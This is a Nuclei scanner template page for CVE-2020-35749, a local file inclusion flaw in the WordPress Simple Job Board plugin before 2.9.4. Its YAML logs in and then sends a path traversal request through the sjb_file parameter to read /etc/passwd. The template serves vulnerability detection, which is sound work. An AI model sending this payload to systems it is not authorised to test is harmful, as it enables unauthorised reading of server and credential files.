Skip to content
Nuclei Templates

WordPress Simple Job Board <2.9.4 - Local File Inclusion

ID: CVE-2020-35749

Severity: high

Author: cckuailong

Tags: cve,cve2020,authenticated,packetstorm,wp,lfi,wordpress,wp-plugin,wpscan,presstigers

Description

Section titled “Description”

WordPress Simple Job Board prior to version 2.9.4 is vulnerable to arbitrary file retrieval vulnerabilities because it does not validate the sjb_file parameter when viewing a resume, allowing an authenticated user with the download_resume capability (such as HR users) to download arbitrary files from the web-server via local file inclusion.

YAML Source

Section titled “YAML Source”
id: CVE-2020-35749


info:
  name: WordPress Simple Job Board <2.9.4 - Local File Inclusion
  author: cckuailong
  severity: high
  description: WordPress Simple Job Board prior to version 2.9.4 is vulnerable to arbitrary file retrieval vulnerabilities because it does not validate the sjb_file parameter when viewing a resume, allowing an authenticated user with the download_resume capability (such as HR users) to download arbitrary files from the web-server via local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise.
  remediation: |
    Update to WordPress Simple Job Board version 2.9.4 or later to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/eed3bd69-2faf-4bc9-915c-c36211ef9e2d
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35749
    - https://docs.google.com/document/d/1TbePkrRGsczepBaJptIdVRvfRrjiC5hjGg_Vxdesw6E/edit?usp=sharing
    - http://packetstormsecurity.com/files/161050/Simple-JobBoard-Authenticated-File-Read.html
    - https://github.com/ezelnur6327/Enes4xd
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.7
    cve-id: CVE-2020-35749
    cwe-id: CWE-22
    epss-score: 0.0312
    epss-percentile: 0.91079
    cpe: cpe:2.3:a:presstigers:simple_board_job:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: presstigers
    product: simple_board_job
    framework: wordpress
  tags: cve,cve2020,authenticated,packetstorm,wp,lfi,wordpress,wp-plugin,wpscan,presstigers


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check


        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/post.php?post=372&action=edit&sjb_file=../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"


      - type: status
        status:
          - 200
# digest: 4a0a004730450221009344782106f5a508efae299809456ce6ffe89fb23e2df0f5fecfd28bef1108b102204e685c66d06f43bee12e6b4abd32a37c2a94eda6f9cf57ce09e3677d678a3ea2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-35749.yaml"

View on Github